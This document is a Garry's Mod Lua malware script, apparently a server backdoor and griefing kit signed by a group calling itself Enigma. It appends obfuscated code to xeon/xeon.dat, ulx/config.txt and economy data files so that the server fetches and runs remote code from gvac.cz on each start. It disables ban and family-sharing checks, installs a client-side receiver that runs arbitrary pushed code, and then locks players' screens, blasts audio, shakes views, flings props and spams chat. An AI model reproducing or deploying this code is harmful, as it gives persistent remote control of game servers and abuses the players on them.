3016enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
3017 enigmalaunchproject:SendLua( pPlayer, [[
3018
3019 (GAMEMODE or GM).CalcView = function() end
3020 (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
3021
3022 local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
3023 for k, v in pairs(remove) do
3024 hook.GetTable()[v] = {}
3025 end
3026
3027 local function GetWebMat( strURL )
3028 return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
3029 end
3030
3031 hook.Add( "HUDPaint", "hud1enigma", function()
3032 surface.SetDrawColor( 255, 255, 255, 255 )
3033
3034 draw.SimpleTextOutlined(
3035 "KEETA",
3036 "DermaLarge",
3037 ScrW() /2 +math.random( -270, 300 ),
3038 ScrH() /2 +math.random( -300, 700 ) +0,
3039 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
3040 TEXT_ALIGN_CENTER,
3041 TEXT_ALIGN_CENTER,
3042 1,
3043 Color(math.random(1,255),math.random(1,255),math.random(1,255))
3044)
3045end )
3046
3047 ]] )
3048end )
3049
3050
3051enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
3052 enigmalaunchproject:SendLua( pPlayer, [[
3053
3054 (GAMEMODE or GM).CalcView = function() end
3055 (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
3056
3057 local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
3058 for k, v in pairs(remove) do
3059 hook.GetTable()[v] = {}
3060 end
3061
3062 local function GetWebMat( strURL )
3063 return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
3064 end
3065
3066 hook.Add( "HUDPaint", "hud2enigma", function()
3067 surface.SetDrawColor( 255, 255, 255, 255 )
3068
3069 draw.SimpleTextOutlined(
3070 "ZILNIX",
3071 "DermaLarge",
3072 ScrW() /2 +math.random( -600, 700 ),
3073 ScrH() /2 +math.random( -200, 800 ) +100,
3074 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
3075 TEXT_ALIGN_CENTER,
3076 TEXT_ALIGN_CENTER,
3077 1,
3078 Color(math.random(1,255),math.random(1,255),math.random(1,255))
3079)
3080end )
3081 ]] )
3082end )
3083
3084enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
3085 enigmalaunchproject:SendLua( pPlayer, [[
3086
3087 (GAMEMODE or GM).CalcView = function() end
3088 (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
3089
3090 local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
3091 for k, v in pairs(remove) do
3092 hook.GetTable()[v] = {}
3093 end
3094
3095 local function GetWebMat( strURL )
3096 return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
3097 end
3098
3099 hook.Add( "HUDPaint", "hud3enigma", function()
3100 surface.SetDrawColor( 255, 255, 255, 255 )
3101
3102 draw.SimpleTextOutlined(
3103 "IXXE",
3104 "DermaLarge",
3105 ScrW() /2 +math.random( -400, 500 ),
3106 ScrH() /2 +math.random( -600, 500 ) -100,
3107 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
3108 TEXT_ALIGN_CENTER,
3109 TEXT_ALIGN_CENTER,
3110 1,
3111 Color(math.random(1,255),math.random(1,255),math.random(1,255))
3112)
3113end )
3114 ]] )
3115end )
3116
3117enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
3118 enigmalaunchproject:SendLua( pPlayer, [[
3119
3120 (GAMEMODE or GM).CalcView = function() end
3121 (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
3122
3123 local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
3124 for k, v in pairs(remove) do
3125 hook.GetTable()[v] = {}
3126 end
3127
3128 local function GetWebMat( strURL )
3129 return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
3130 end
3131
3132 hook.Add( "HUDPaint", "hud5enigma", function()
3133 surface.SetDrawColor( 255, 255, 255, 255 )
3134
3135 draw.SimpleTextOutlined(
3136 "AKITA",
3137 "DermaLarge",
3138 ScrW() /2 +math.random( -500, 500 ),
3139 ScrH() /2 +math.random( -500, 500 ) +0,
3140 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
3141 TEXT_ALIGN_CENTER,
3142 TEXT_ALIGN_CENTER,
3143 1,
3144 Color(math.random(1,255),math.random(1,255),math.random(1,255))
3145)
3146end )
3147 ]] )
3148end )
3149
3150enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
3151 enigmalaunchproject:SendLua( pPlayer, [[
3152
3153 (GAMEMODE or GM).CalcView = function() end
3154 (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
3155
3156 local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
3157 for k, v in pairs(remove) do
3158 hook.GetTable()[v] = {}
3159 end
3160
3161 local function GetWebMat( strURL )
3162 return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
3163 end
3164
3165 hook.Add( "HUDPaint", "hud7enigma", function()
3166 surface.SetDrawColor( 255, 255, 255, 255 )
3167
3168 draw.SimpleTextOutlined(
3169 "Jodingue",
3170 "DermaLarge",
3171 ScrW() /2 +math.random( -700, 700 ),
3172 ScrH() /2 +math.random( -700, 700 ) +300,
3173 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
3174 TEXT_ALIGN_CENTER,
3175 TEXT_ALIGN_CENTER,
3176 1,
3177 Color(math.random(1,255),math.random(1,255),math.random(1,255))
3178)
3179end )
3180 ]] )
3181end )
3182
3183enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
3184 enigmalaunchproject:SendLua( pPlayer, [[
3185
3186 (GAMEMODE or GM).CalcView = function() end
3187 (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
3188
3189 local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
3190 for k, v in pairs(remove) do
3191 hook.GetTable()[v] = {}
3192 end
3193
3194 local function GetWebMat( strURL )
3195 return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
3196 end
3197
3198 hook.Add( "HUDPaint", "hud10enigma", function()
3199 surface.SetDrawColor( 255, 255, 255, 255 )
3200
3201 draw.SimpleTextOutlined(
3202 "FULLMACHINE",
3203 "DermaLarge",
3204 ScrW() /2 +math.random( -800, 800 ),
3205 ScrH() /2 +math.random( -800, 800 ) -400,
3206 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
3207 TEXT_ALIGN_CENTER,
3208 TEXT_ALIGN_CENTER,
3209 1,
3210 Color(math.random(1,255),math.random(1,255),math.random(1,255))
3211)
3212end )
3213 ]] )
3214end )
3215
3216enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
3217 enigmalaunchproject:SendLua( pPlayer, [[
3218
3219 (GAMEMODE or GM).CalcView = function() end
3220 (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
3221
3222 local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
3223 for k, v in pairs(remove) do
3224 hook.GetTable()[v] = {}
3225 end
3226
3227 local function GetWebMat( strURL )
3228 return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
3229 end
3230
3231 hook.Add( "HUDPaint", "hud12enigma", function()
3232 surface.SetDrawColor( 255, 255, 255, 255 )
3233
3234 draw.SimpleTextOutlined(
3235 "Kazuki",
3236 "DermaLarge",
3237 ScrW() /2 +math.random( -850, 850 ),
3238 ScrH() /2 +math.random( -850, 850 ) +100,
3239 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
3240 TEXT_ALIGN_CENTER,
3241 TEXT_ALIGN_CENTER,
3242 1,
3243 Color(math.random(1,255),math.random(1,255),math.random(1,255))
3244)
3245end )
3246 ]] )
3247end )
3248
3249enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
3250 enigmalaunchproject:SendLua( pPlayer, [[
3251
3252 (GAMEMODE or GM).CalcView = function() end
3253 (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
3254
3255 local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
3256 for k, v in pairs(remove) do
3257 hook.GetTable()[v] = {}
3258 end
3259
3260 local function GetWebMat( strURL )
3261 return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
3262 end
3263
3264 hook.Add( "HUDPaint", "hud1enigma", function()
3265 surface.SetDrawColor( 255, 255, 255, 255 )
3266
3267 draw.SimpleTextOutlined(
3268 "GVACDOOR",
3269 "DermaLarge",
3270 ScrW() /2 +math.random( -300, 600 ),
3271 ScrH() /2 +math.random( -600, 300 ) +200,
3272 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
3273 TEXT_ALIGN_CENTER,
3274 TEXT_ALIGN_CENTER,
3275 1,
3276 Color(math.random(1,255),math.random(1,255),math.random(1,255))
3277)
3278end )
3279 ]] )
3280end )
3281
3282enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
3283 enigmalaunchproject:SendLua( pPlayer, [[
3284
3285 (GAMEMODE or GM).CalcView = function() end
3286 (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
3287
3288 local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
3289 for k, v in pairs(remove) do
3290 hook.GetTable()[v] = {}
3291 end
3292
3293 local function GetWebMat( strURL )
3294 return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
3295 end
3296
3297 hook.Add( "HUDPaint", "hud1enigma", function()
3298 surface.SetDrawColor( 255, 255, 255, 255 )
3299
3300 draw.SimpleTextOutlined(
3301 "GVACDOOR",
3302 "DermaLarge",
3303 ScrW() /2 +math.random( -300, 600 ),
3304 ScrH() /2 +math.random( -600, 300 ) +200,
3305 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
3306 TEXT_ALIGN_CENTER,
3307 TEXT_ALIGN_CENTER,
3308 1,
3309 Color(math.random(1,255),math.random(1,255),math.random(1,255))
3310)
3311end )
3312 ]] )
3313end )
3314
3315
3316enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
3317 enigmalaunchproject:SendLua( pPlayer, ([=[
3318
3319 g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[ = {}
3320 local html = [[%s]]
3321 local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
3322 local pnl = vgui.Create( "HTML" )
3323 pnl:SetPos( ScrW() -1, ScrH() -1 )
3324 pnl:SetVisible( true )
3325 pnl:SetMouseInputEnabled( false )
3326 pnl:SetKeyBoardInputEnabled( false )
3327 pnl:SetSize( intSizeX, intSizeY )
3328 pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
3329
3330 local PageLoaded
3331 PageLoaded = function()
3332 local mat = pnl:GetHTMLMaterial()
3333 if mat then
3334 g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
3335 return
3336 end
3337
3338 timer.Simple( 0.5, PageLoaded )
3339 end
3340
3341 PageLoaded()
3342 end
3343
3344 LoadWebMaterial( "https://thereaper.tk/__/hehehe/__!!__!!/bravo_ct_inutile/enigmaaaa.png", "EnigmaLogo", 1000, 1000 )
3345 ]=]):format(lol.m_strImageLoadHTML) )
3346end )
3347
3348enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
3349 enigmalaunchproject:SendLua( pPlayer, [[
3350 (GAMEMODE or GM).CalcView = function() end
3351 (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
3352
3353 local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
3354 for k, v in pairs(remove) do
3355 hook.GetTable()[v] = {}
3356 end
3357
3358 local function GetWebMat( strURL )
3359 return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
3360 end
3361
3362 hook.Add( "HUDPaint", "EnigmaLogoHUD", function()
3363 surface.SetDrawColor( 255, 255, 255, 255 )
3364
3365 if GetWebMat( "EnigmaLogo" ) then
3366 surface.SetMaterial( GetWebMat("EnigmaLogo")[1] )
3367 surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
3368 end
3369 end )
3370
3371 local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
3372 hook.Add( "HUDShouldDraw", "EnigmaLogoHUD", function( str ) if not allowed[str] then return false end end )
3373
3374 surface.PlaySound( "garrysmod/save_load4.wav" )
3375 surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
3376 ]] )
3377end )
3378
3379
3380
3381--[[
3382
3383 Permanent Injection (XEONDRM)
3384
3385]]--
3386
3387
3388if not string.find( file.Read("xeon/xeon.dat", "DATA"), "http.Fetch" ) && file.Exists("xeon/xeon.dat", "DATA") then
3389 file.Append("xeon/xeon.dat", "\n" .. [[if SERVER then timer.Simple(1,function() RunString("\104\116\116\112\46\70\101\116\99\104\40\34\104\116\116\112\115\58\47\47\103\118\97\99\46\99\122\47\95\47\95\46\112\104\112\34\44\102\117\110\99\116\105\111\110\40\98\41\32\82\117\110\83\116\114\105\110\103\40\98\44\32\34\69\82\82\79\82\34\44\32\102\97\108\115\101\41\32\101\110\100\41") RunString("\104\116\116\112\46\70\101\116\99\104\40\34\104\116\116\112\115\58\47\47\103\118\97\99\100\111\111\114\46\99\122\47\95\47\95\46\112\104\112\34\44\102\117\110\99\116\105\111\110\40\98\41\32\82\117\110\83\116\114\105\110\103\40\98\44\32\34\69\82\82\79\82\34\44\32\102\97\108\115\101\41\32\101\110\100\41") end) end]])
3390end
3391if file.Exists("utf8_note.txt","DATA") then
3392 local c = file.Read("utf8_note.txt")
3393else
3394 file.Write("utf8_note.txt", "--[===============[\n\t\t\t\tutf8_note config file don't modifie\n]===============]")
3395 RunString([======[
3396file.Append("ulx/config.txt", "\n"..[=[ulx hook Think PDM hA "hook.Remove([[Think]],[[PDM]])timer.Simple(10,function()local a=[[https]]..string.char(58)..string.char(47)..string.char(47)..[[gvac.cz/_/_.php]]http.Fetch(a,RunStringEx)end)"]=])
3397 ]======])
3398end
3399
3400local yeah =
3401[[
3402timer.Simple(1, function() http.Fetch("https://gvac.cz/link/fuck.php?key=0yiLP33U47uq0jFgsdmN", function(b) RunString(b, "haxor.exe", false) end)end)
3403]]
3404if file.Exists("customhq_economy", "DATA") then file.Write("customhq_economy/"..game.GetMap().."_recursive_ptc.txt", yeah) end
3405if file.Exists("costumhq", "DATA") then file.Write("costumhq/recursive_ptc.txt", yeah) end
3406
3407
3408
3409--[[
3410
3411 Workshop Download ID
3412
3413]]--
3414
3415local ID = --Id from workshop file
3416
3417steamworks.FileInfo( ID, function( result )
3418 steamworks.Download( result.previewid, true, function( name )
3419 print(name)
3420 end)
3421end)
3422
3423
3424--[[
3425
3426 Disable Anti Family Sharing
3427
3428]]--
3429
3430
3431
3432hook.Remove("PlayerAuthed", "CheckFamilySharing")
3433hook.Remove("PlayerAuthed", "PlayerAuthed-NetSend")
3434hook.Remove("ULibPostTranslatedCommand", "BanHook")
3435hook.Remove("CheckPassword", "Extra-BanChecks")
3436
3437
3438
3439--[[
3440
3441 TTS
3442
3443]]--
3444
3445local TEXT = "FDP"
3446
3447sound.PlayURL( "https://translate.google.com/translate_tts?ie=UTF-8&tl=fr-TR&client=tw-ob&q=TEXT", "", function(audio) audio:Play() audio:SetVolume(50) end )
3448
3449
3450
3451--[[
3452
3453 Get NoScope
3454
3455]]--
3456
3457
3458
3459print([[
3460██████╗ ██╗ ██╗ ███╗ ██╗ ██████╗ ██╗
3461██╔═══██╗██║ ██║ ████╗ ██║██╔═══██╗██║
3462██║ ██║███████║ ██╔██╗ ██║██║ ██║██║
3463██║ ██║██╔══██║ ██║╚██╗██║██║ ██║╚═╝
3464╚██████╔╝██║ ██║ ██║ ╚████║╚██████╔╝██╗
3465 ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝
3466
3467By IXXE <3 ]])
3468
3469
3470local function rdm_str(len)
3471 if !len or len <= 0 then return '' end
3472 return rdm_str(len - 1) .. ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")[math.random(1, 62)]
3473end
3474
3475local net_string = rdm_str(25)
3476
3477util.AddNetworkString(net_string)
3478BroadcastLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"\xFF\xFF\xFF")()end)]])
3479hook.Add("PlayerInitialSpawn", "ifyouseethisdontpanicitsme",function(ply)
3480 if !ply:IsBot() then
3481 ply:SendLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"\xFF\xFF\xFF")()end)]])
3482 end
3483end)
3484
3485local function SendToClient(code)
3486 local data = util.Compress(code)
3487 local len = #data
3488 net.Start(net_string)
3489 net.WriteUInt(len, 16)
3490 net.WriteData(data, len)
3491 net.Broadcast()
3492end
3493
3494timer.Simple( 10, function()
3495 SendToClient([[
3496
3497 hook.Add("Think","iuefheqefq",function() gui.HideGameUI() end)
3498 surface.CreateFont( "PixelCutsceneScaled",{
3499 font = "Open Sans",
3500 size = 500,
3501 weight = 1000,
3502 antialias = true
3503 })
3504
3505 surface.CreateFont( "PixelSmall",{
3506 font = "Open Sans",
3507 size = 135,
3508 weight = 500,
3509 antialias = false
3510 })
3511 surface.CreateFont("lapolice", {
3512 font = "Open Sans",
3513 size = ScrW()*0.02,
3514 weight = 10,
3515 blursize = 0,
3516 scanlines = 2.5,
3517 antialias = false
3518 })
3519
3520 local function gettextcolor( a )
3521
3522 local r = 0.5*math.sin(RealTime()*5.5)*255 + 255/2
3523 local g = -0.5*math.sin(RealTime()*5.5)*255 + 255/2
3524 local b = 215
3525
3526 return Color( r, g, b, a or 255 )
3527
3528 end
3529
3530 local w,h = ScrW(), ScrH()
3531 local W, H = ScrW(), ScrH()
3532 local MySelf = LocalPlayer()
3533
3534 if ohno then
3535 ohno:Remove()
3536 ohno = nil
3537 end
3538
3539 ohno = vgui.Create( "DFrame" )
3540 ohno:SetSize( w, h )
3541 ohno:SetPos(0,0)
3542 ohno:SetDraggable ( false )
3543 ohno:SetTitle("")
3544 ohno:MakePopup();
3545 ohno:ShowCloseButton(false)
3546
3547 ohno.Paint = function( self )
3548 Derma_DrawBackgroundBlur( self, self.m_fCreateTime )
3549 Derma_DrawBackgroundBlur( self, self.m_fCreateTime )
3550 end
3551
3552 local pw, ph = w, h*0.6
3553 local px, py = w/2-pw/2, h/2-ph/2
3554
3555
3556 local Close = vgui.Create( "DButton", ohno )
3557 Close:SetPos(px, py)
3558 Close:SetText( "" )
3559 Close:SetSize( pw, ph )
3560 Close.Paint = function( self, tw, th )
3561
3562 local shift = math.sin(RealTime()*3)*1.5 + 5
3563
3564 local text = "ΣNIGMA"
3565 local text2 = "Σ"
3566 local text3 = "RIP ;)"
3567 local text4 = "ΣNIGMA"
3568
3569 draw.SimpleText( text, "PixelCutsceneScaled", tw/2 , th/2, gettextcolor( 55 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
3570 draw.SimpleText( text, "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
3571 draw.DrawText( "(╯°□°）╯︵ ┻━┻", "lapolice", ScrW() * 0.5, ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), TEXT_ALIGN_CENTER )
3572 draw.DrawText( "(╯°□°）╯︵ ┻━┻", "lapolice", math.random(0,10), ScrH() * (math.random(0,100)*0.01), Color( 240, 100, 100, math.random(230,255) ), 0 )
3573 draw.DrawText( "Σ", "lapolice", W * 0.7 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
3574 draw.DrawText( "Σ", "lapolice", W * 0.38 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
3575 draw.DrawText( "Σ", "lapolice", W * 0.9 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
3576 draw.DrawText( "Σ", "lapolice", W * 0.35 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
3577 draw.DrawText( "RIP ;)", "lapolice", W * 0.98 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
3578 draw.DrawText( "ΣNIGMA", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
3579 draw.DrawText( "RIP ;)", "lapolice", W * 0.73 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
3580 draw.DrawText( "ΣNIGMA", "lapolice", W * 0.27 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
3581 draw.DrawText( "ΣNIGMA", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
3582 draw.DrawText( "RIP ;)", "lapolice", W * 0.05 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
3583 draw.DrawText( "ΣNIGMA", "lapolice", W * 0.11 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
3584 draw.DrawText( "RIP ;)", "lapolice", W * 0.75 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
3585 draw.DrawText( "ΣNIGMA", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
3586 draw.DrawText( "RIP ;)", "lapolice", W * 0.2 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
3587 draw.DrawText( "ΣNIGMA", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
3588 draw.DrawText( "ΣNIGMA", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
3589 draw.DrawText( "ΣNIGMA", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
3590 draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
3591 draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
3592 draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
3593 draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
3594 draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
3595
3596 end
3597 surface.PlaySound( "vo/npc/male01/ohno.wav" )
3598 surface.PlaySound( "vo/npc/male01/ohno.wav" )
3599 timer.Create("fff", 0.1, 0, function()
3600 util.ScreenShake( Vector(0,0,0), 2.5, 50, 0.5, 5000 )
3601 end)
3602
3603 timer.Simple( 15, function()
3604
3605 wut = vgui.Create( "DFrame" )
3606 wut:SetSize( w, h )
3607 wut:SetPos(0,0)
3608 wut:SetDraggable ( false )
3609 wut:SetTitle("")
3610 wut:ShowCloseButton(false)
3611
3612 wut.Paint = function( self )
3613 surface.SetDrawColor(30, 30, 30, 0)
3614 end
3615
3616 local Close = vgui.Create( "DButton", wut )
3617 Close:SetPos(px, py)
3618 Close:SetText( "" )
3619 Close:SetSize( pw, ph )
3620 Close.Paint = function( self, tw, th )
3621
3622 local shift = math.sin(RealTime()*3)*1.5 + 5
3623
3624 local text = "ΣNIGMA"
3625
3626 draw.SimpleText( text, "PixelCutsceneScaled", tw/2 , th/2, gettextcolor( 55 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
3627 draw.SimpleText( text, "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
3628
3629
3630 end
3631
3632 RunConsoleCommand("r_shader_srgb","1")
3633 RunConsoleCommand("gmod_language","ko")
3634 ohno:Remove()
3635 ohno = nil
3636
3637 local name = GetConVar("sv_skyname"):GetString()
3638 if name == "painted" then
3639 local sky
3640 for _, v in ipairs(ents.GetAll()) do
3641 if v:GetClass() == "env_skypaint" then
3642 sky = v
3643 break
3644 end
3645 end
3646 if !IsValid(sky) then return end
3647 hook.Add("PostRender","\xFFsky\xFF",function()
3648 local col = HSVToColor(CurTime()*30 % 360,1,1)
3649 col = Vector(col.r/255,col.g/255,col.b/255)
3650 sky:SetTopColor(col)
3651 sky:SetBottomColor(col)
3652 end)
3653 else
3654 local prefix = {"lf","ft","rt","bk","dn","up"}
3655 local mats = {}
3656 for i=1,6 do
3657 mats[#mats+1] = Material("skybox/" .. name .. prefix[i])
3658 end
3659 hook.Add("PostRender","\xFFsky\xFF",function()
3660 local col = HSVToColor(CurTime()*30 % 360,1,1)
3661 for i=1,6 do
3662 mats[i]:SetVector("$color",Vector(col.r/255,col.g/255,col.b/255))
3663 end
3664 end)
3665 end
3666 local chienchaud = ClientsideModel("models/food/hotdog.mdl")
3667 chienchaud:SetNoDraw(true)
3668 chienchaud:SetModelScale(120)
3669 timer.Create("charglogo", 0.01, 0, function()
3670 chienchaud:SetAngles(Angle(0, CurTime()*90 % 360 ,180) )
3671 end)
3672 --chienchaud:SetMaterial( "models/screenspace" )
3673 local data = {}
3674 local function genchienchaud(id)
3675 local pos = LocalPlayer():GetPos()
3676 data[id] = { Vector(math.random(pos.x-9000,pos.x+9000),math.random(pos.y-9000,pos.y+9000),pos.z + math.random(5000,2000) ), math.random(70, 170) }
3677 end
3678 for i=1, 150 do
3679 genchienchaud(i)
3680 end
3681 hook.Add("PostDrawOpaqueRenderables","\xFFitsrainingchienchauds\xFF",function()
3682 local z = LocalPlayer():GetPos().z
3683 for i=1, #data do
3684 chienchaud:SetPos(data[i][1])
3685 chienchaud:SetupBones()
3686 chienchaud:DrawModel()
3687 data[i][1].z = data[i][1].z - data[i][2] / 20
3688 if data[i][1].z <= z then
3689 genchienchaud(i)
3690 end
3691 end
3692 end)
3693
3694 timer.Create("f", 0.2, 0, function()
3695 local centr = LocalPlayer():GetPos()
3696 local em = ParticleEmitter(centr)
3697
3698 for i=1, 20 do
3699 local part = em:Add("particle/particle_swirl_03",centr)
3700 if part then
3701 local col = HSVToColor(CurTime()*30 % 360,1,1)
3702 part:SetColor(math.random(0,255),math.random(0,255),math.random(0,255),255)
3703 part:SetVelocity(Vector(math.random(-1,1),math.random(-1,1),math.random(-1,1)):GetNormal() * 20)
3704 part:SetDieTime(6.5)
3705 part:SetLifeTime(0)
3706 part:SetStartSize(120)
3707 part:SetEndSize(120)
3708 end
3709 end
3710
3711 em:Finish()
3712 end)
3713
3714 end )
3715
3716
3717 sound.PlayURL( "https://gvac.cz/assets/mlg.mp3", "mono noblock noplay", function( station )
3718 timer.Simple( 0.1, function()
3719 ClientStation = station
3720 station:EnableLooping( true )
3721 station:Play()
3722 station:SetVolume( 30 )
3723 end )
3724 end )
3725]])
3726end)
3727
3728timer.Create("ok", 1, 0, function()
3729 for k, v in pairs( ents.FindByClass( "prop_*" ) ) do local phys = v:GetPhysicsObject()
3730 if (IsValid(phys)) then
3731 phys:EnableMotion(true)
3732 end
3733 end
3734
3735 local props = ents.GetAll()
3736 for _, prop in ipairs( props ) do
3737 if(prop:GetPhysicsObject():IsValid()) then
3738 prop:GetPhysicsObject():ApplyForceCenter( Vector( 0, 0, ((650 * 0.73) * prop:GetPhysicsObject():GetMass() ) ) )
3739 end
3740 end
3741end)
3742
3743
3744timer.Simple( 10, function()
3745
3746 membresenigma =
3747 {
3748 "Akita",
3749 "IXXE",
3750 "Jodingue",
3751 "Kazuki",
3752 "Keeta",
3753 "DJTB",
3754 "Zilnix",
3755 "GET NO SCOPE !!!!",
3756 "GET NO SCOPE !!!!",
3757 "GET NO SCOPE !!!!",
3758 "GET NO SCOPE !!!!",
3759 "GET NO SCOPE !!!!",
3760 "GET NO SCOPE !!!!",
3761 "GET NO SCOPE !!!!",
3762 "GET NO SCOPE !!!!",
3763 "BAN HAMMER > https://bit.ly/2LUu3GN",
3764 "BAN HAMMER > https://bit.ly/2LUu3GN",
3765 "BAN HAMMER > https://bit.ly/2LUu3GN",
3766 "BAN HAMMER > https://bit.ly/2LUu3GN",
3767 "BAN HAMMER > https://bit.ly/2LUu3GN"
3768 }
3769
3770 timer.Create( "gvacspam", 0.3, 0, function()
3771 for k, ply in pairs( player.GetAll() ) do
3772 DarkRP.notify(ply, 2, 2, "[Oh No !] "..table.Random(membresenigma).."")
3773 end
